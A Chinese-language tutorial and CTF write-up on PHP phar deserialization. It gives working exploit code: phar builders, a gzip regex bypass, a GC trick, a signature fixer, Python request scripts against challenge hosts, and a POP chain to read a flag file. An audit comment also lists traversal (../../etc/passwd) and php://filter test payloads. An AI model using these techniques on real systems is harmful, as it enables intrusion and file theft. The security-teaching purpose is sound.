Phar反序列化

一,phar文件结构

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. signature

签名,放在文件末尾,格式如下:

二,demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();//startBuffering 是 Phar 对象的一个方法。这行代码的作用是开始对 Phar 对象进行缓冲操作
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//signature签名自动计算
$phar->stopBuffering();//停止 Phar 对象的缓冲操作,完成实际的归档构建

这样的话就在当前目录下生成了一个test.phar文件(我用的是phpstudy搭建的测试环境)

image-20250707111856264

我们来看一下这个phar文件的内容,对照上面我们了解的phar文件的结构

首先是一个标志

接着mainifest部分,可以明显的看到meta-data是以序列化的形式存储的:

image-20250707112105960

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

受影响函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

接下来我们来测试用其中一个测试一下

1
2
3
4
5
6
7
8
9
10
11
class test
{
public $name = '';

public function __destruct()
{
eval($this->name);
}
}

echo file_get_contents('phar://test.phar/flag.txt');

image-20250707112824805

也验证了我们刚刚说的

大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class test
{
public $name = '';

public function __destruct()
{
eval($this->name);
}
}
$filename='phar://test.phar/flag.txt';
//echo file_get_contents($filename);
echo fileatime($filename);
//echo file_exists($filename);

不过用其他文件系统函数的话,就会the file contents部分就出现了变化,但是meta-data部分仍然了进行反序列化

image-20250707154007035

三,将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();//startBuffering 是 Phar 对象的一个方法。这行代码的作用是开始对 Phar 对象进行缓冲操作
$phar->setStub("GIF86a"."<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//signature签名自动计算
$phar->stopBuffering();//停止 Phar 对象的缓冲操作,完成实际的归档构建

image-20250707154831429

四,实战

prize_p1

首先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {//最终目标:反序列化后GC触发,调用,拿到flag
echo "flag";
}
}

class A {
public $config;//控制后续操作
function __destruct() {//对象销毁时使用,根据$config的值执行不同的操作
if ($this->config == 'w') {//写入文件
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {//读取写入
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);//这里可以用来控制$config来实现写入文件还是读取文件
throw new Error("那么就从这里开始起航吧");

可以上传两个变量,一个post一个get

因为get里面过滤了getflag。我们不能直接get传参序列化数据,直接反序列化触发getflag

我们用的方法就是post上传phar文件,再file_get_contents用phar协议读取(反序列化)

反序列化class getflag ,从而触发__destruct魔术方法拿到flag

我们先来生成phar文件

初步确定phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
// 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering(); // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

可以看到post里面也过滤了getflag

我们知道生成的phar的metadata的序列化数据是明文,所以只这样肯定是不行的

还有一个思路就是把phar再压缩成压缩包

phar文件打成压缩包(绕过正则)

(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)

传输进去的就是二进制流乱码 就可以绕过正则匹配

用python脚本上传一下(因为是二进制数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import gzip

url="http://node4.anna.nssctf.cn:28134/"

### 先将phar文件变成gzip文件
with open("./1.phar",'rb') as f1:
phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
phar_zip.writelines(f1) #将phar文件的二进制流写入
phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
data1={0:f2.read()} #利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

返回是空

那么问题来了,为啥返回是空呢,按我们之前的思路应该是没问题的

其实是最后一段代码

image-20250707183935311

我们之前测试知道__destruct这个是在代码结束之后才会被执行的,可是到代码最后这段代码抛出异常,我们想要执行的destruct魔术方法就不会被执行

绕过异常方法就是让getflag对象反序列化完成之后提前触发GC机制

我们使用以下的方法

构造序列化数组直接触发GC机制,绕过异常

对phar文件进行处理:

a:2:{i:0;O:7:"getflag":{}i:0;N;} 强制让对象失去引用,触发 GC 回收

1
a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法

a:2:{i:0;O:7:"getflag":{}i:0;N;} 的完整解析:

  • a:2:一个包含 2 个元素的数组

  • {...} 内的内容:

    • i:0;O:7:"getflag":{} → 第1个元素(Array[0])是一个 getflag 对象
    • i:0;N; → 第2次操作:将 Array[0] 设为 null
  • PHP 的 GC 机制:当一个对象失去所有引用时,会被标记为可回收

  • 反序列化的特殊性

    • 整个过程发生在一个临时作用域
    • 没有外部变量引用反序列化的数组
    • 因此 getflag 对象在失去 $arr[0] 的引用后,会立即被回收

重新生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class getflag // 定义一个名为 Testobj 的类
{
// 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering(); // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$o = array(0=>$o,1=>null);
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件

修改签名

1
a:2:{i:0;O:7:"getflag":0:{}i:1;N;}---》a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

image-20250707175129719

但是我们一旦更改phar里的内容就要修改它的签名,然后这个phar文件才是完整的

我们用python代码来修改签名

1
2
3
4
5
6
from hashlib import sha1
f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

python脚本压缩文件,上传,读取,拿flag

重新运行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re
import gzip

url = "http://node4.anna.nssctf.cn:28577/"

### 先将phar文件变成gzip文件
with open("./ph2.phar", 'rb') as f1:
phar_zip = gzip.open("gzip.zip", 'wb') # 创建了一个gzip文件的对象
phar_zip.writelines(f1) # 将phar文件的二进制流写入
phar_zip.close()

###写入gzip文件
with open("gzip.zip", 'rb') as f2:
data1 = {0: f2.read()} # 利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1, data=data1)

### 读gzip.zip文件,获取flag
param2 = {0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2 = {0: "phar://tmp/a.txt"}
p2 = requests.post(url=url, params=param2, data=data2)

flag = re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

[SWPUCTF 2018]SimplePHP

收集信息

先随便上传一个文件侯点击查看文件,发现什么都没有,但是看到url,貌似是一个文件包含漏洞

尝试输入文件名,可以拿到文件源码?/file=index.php

index.php

1
<?php header("content-type:text/html;charset=utf-8");  include 'base.php'; ?> 

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0); // 关闭所有错误报告

/**
* 执行文件上传操作
*/
function upload_file_do() {
global $_FILES; // 使用全局的$_FILES数组

// 生成新文件名:原文件名+客户端IP的MD5值,并强制使用.jpg扩展名
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //这里可以自己计算文件名

// 创建上传目录(已被注释掉)
//mkdir("upload",0777);

// 如果文件已存在则删除
if(file_exists("upload/" . $filename)) { //文件都上传在这个目录下了,也可以直接访问/upload目录看文件名
unlink($filename);
}

// 移动临时文件到上传目录
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}

/**
* 文件上传主控制函数
*/
function upload_file() {
global $_FILES; // 使用全局的$_FILES数组
if(upload_file_check()) { // 先检查文件是否合法
upload_file_do(); // 检查通过后执行上传
}
}

/**
* 检查上传文件是否合法
* @return bool 返回是否通过检查
*/
function upload_file_check() {
global $_FILES; // 使用全局的$_FILES数组

// 允许的文件类型白名单
$allowed_types = array("gif","jpeg","jpg","png");

// 获取文件扩展名
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);

if(empty($extension)) {
// 空扩展名时的处理(已被注释掉)
//echo "<h4>请选择上传的文件:" . "<h4/>";
} else {
// 检查扩展名是否在白名单中
if(in_array($extension,$allowed_types)) {
return true; // 通过检查
} else {
// 文件类型不合法,弹出警告
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php'; // 引入自定义函数库(潜在风险点:需检查function.php内容)
include 'class.php'; // 引入类定义(潜在风险点:需检查class.php内容)
ini_set('open_basedir','/var/www/html/'); // 设置目录限制(安全措施)

$file = $_GET["file"] ? $_GET['file'] : ""; // 直接获取用户输入的file参数(高危风险点)
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show(); // 实例化Show类(需检查class.php中的Show类定义)
if(file_exists($file)) { // 文件存在检查(可能被绕过)
$show->source = $file; // 直接使用用户输入作为属性值(高危)
$show->_show(); // 调用显示方法(需检查_show()实现)
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
<!-- ================= 安全审计标记 ================= -->
1. 【高危】文件包含漏洞:
- 第5行:直接使用$_GET['file']作为文件路径
- 第12行:未过滤直接传递给file_exists()和Show类
2. 【中危】类方法风险:
- $show->_show()的实现需检查(可能在class.php中):
是否有限制协议(如phar://)
是否有目录穿越检查

3. 【安全措施】:
- 第4行:open_basedir限制目录访问
- 但可能被phar://等协议绕过

4. 【漏洞利用链】:
if(class Show存在__wakeup__toString等魔术方法)
可能构造反序列化攻击(需结合class.php分析)
5. 【测试POC】:
http://target.com/?file=../../etc/passwd # 目录穿越测试
http://target.com/?file=phar://upload/evil.jpg # 反序列化测试
http://target.com/?file=php://filter/convert.base64-encode/resource=config.php # 源码读取

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php
/**
* 类C1e4r - 测试类,包含基本的构造和析构方法
*/
class C1e4r
{
public $test;
public $str;

// 构造函数,初始化str属性
public function __construct($name)
{
$this->str = $name;
}

// 析构函数,将str赋值给test并输出
public function __destruct()
{
$this->test = $this->str;
echo $this->test; // 可能触发其他类的__toString方法
}
}
/**
* 类Show - 主要功能类,处理文件显示
*/
class Show
{
public $source; // 文件来源
public $str; // 字符串数据

// 构造函数,初始化source属性
public function __construct($file)
{
$this->source = $file; // 可能设置为phar://协议路径
echo $this->source; // 可能触发__toString
}

// 对象被当作字符串使用时调用
public function __toString()
{
$content = $this->str['str']->source; // 可能触发__get方法
return $content;
}

// 设置不存在的属性时调用
public function __set($key,$value)
{
$this->$key = $value;
}

// 显示文件内容的核心方法
public function _show()
{
// 安全过滤:检查危险协议和路径
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {//这里只是过滤了一部分,没有过滤我们想用的phar伪协议
die('hacker!');
} else {
highlight_file($this->source); // highlight_file(phar://upload/文件名)
}
}
// 反序列化时调用
public function __wakeup()
{
// 检查危险协议和路径
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php"; // 发现危险内容则重置为index.php
}
}
}

/**
* 类Test - 文件操作类
*/
class Test
{
public $file; // 文件名
public $params; // 参数数组

// 构造函数,初始化params数组
public function __construct()
{
$this->params = array();
}

// 访问不存在的属性时调用
public function __get($key)
{
return $this->get($key); // 调用get('str')方法
}

// 获取参数值
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php"; // 默认值
}
return $this->file_get($value); // 调用文件读取方法
}

// 读取文件内容并返回base64编码
public function file_get($value)
{
$text = base64_encode(file_get_contents($value)); // 读取文件内容,可以用这个读取f1ag.php
return $text;
}
}
?>

<!-- 安全审计要点 -->
Test
file_get()->get()->__get()
Show
__toString()
C1e4r
__destruct()->__construct($name)->name=new Show

接下来我们的思路就是构造pop链,来触发魔术方法,触发class.php里面的file_get_contents()来读取f1ag.php的文件内容

构造pop链,生成phar文件,通过上传文件接口进行文件上传

通过file.php/?file=phar://upload/文件名,来使用phar伪协议触发反序列化,读取f1ag.php

文件名的获取

image-20250708160825844

构造pop链,生成.phar文件,由于对上传文件名称做了白名单限制,所以生成的1.phar改名为1.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class C1e4r
{
public $test;
public $str;

}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r;
$b=new Show;
$c=new Test;
$a->str=$b;
$b->str=['str'=>$c];
$c->params=['source'=>'/var/www/html/f1ag.php'];//这里我之前采用的路径是./f1ag.php一直不行
echo serialize($a);

$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

访问/upload目录,看文件名

8a3941bc090af632c1844d7254444bcc.jpg 2025-07-08 07:38 304
1
8a3941bc090af632c1844d7254444bcc.jpg

通过file.php/?file=phar://upload/文件名,来使用phar伪协议触发反序列化,拿到flag

image-20250708154158388

Phar反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

Phar反序列化不会调用 weakup 等方法

可以在不调用unserialize()的情况下进行反序列化操作。

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤